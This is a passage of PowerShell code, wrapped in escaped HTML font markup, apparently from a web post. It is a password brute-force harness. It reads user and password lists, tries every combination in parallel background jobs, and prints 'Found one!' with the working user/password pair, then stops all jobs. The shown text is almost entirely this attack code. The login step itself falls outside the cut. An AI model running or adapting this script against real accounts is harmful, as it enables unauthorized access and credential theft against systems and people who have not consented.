{&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.State &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-ne&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Running"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;} | ForEach-Object {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $job&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$job&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;.ChildJobs[0].Error) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Found one!&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Receive-Job &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$job&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; -Keep | Out-Null&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#000000&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;# Echo the user/pass combo stored the job name&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Found $($job.Name)"&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#000000&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;#Clean up all the running jobs&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Get-Job | Stop-Job&lt;BR&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Get-Job | Remove-Job&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#000000&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;#quit&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit&lt;BR&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;BR&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/FONT&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Remove-Job &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$job&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;}&lt;BR&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;# Make sure we have enough info passed in from the parameters&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$User&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-and&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$UsersFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;throw&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"User or UserFile required."&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Password&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-and&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$PasswordsFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;throw&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Password or PasswordFile required."&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;# If the UsersFile and a Username are provided then use the UsersFile&lt;BR&gt;# Convert UsersFile or single User into an array so we can use a loop&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$UsersFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;{&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Users&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; Get-Content &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$UsersFile&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;else&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;{&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Users&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; @(&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$User&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;# If the PasswordsFile and aPassword is provided then use the PasswordsFile&lt;BR&gt;# Convert PasswordsFile or single Password into an array so we can use a loop&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$PasswordsFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;{&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Passwords&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; Get-Content &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$PasswordsFile&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;else&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;{&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Passwords&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; @(&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Password&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;}&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Passwords&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | ForEach-Object {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $pass&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Users&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | ForEach-Object {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $usr&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&amp;nbsp;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;# If too many jobs running then wait for some to complete&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;while&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; ((Get-Job).Count &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-ge&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$MaxJobs&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT 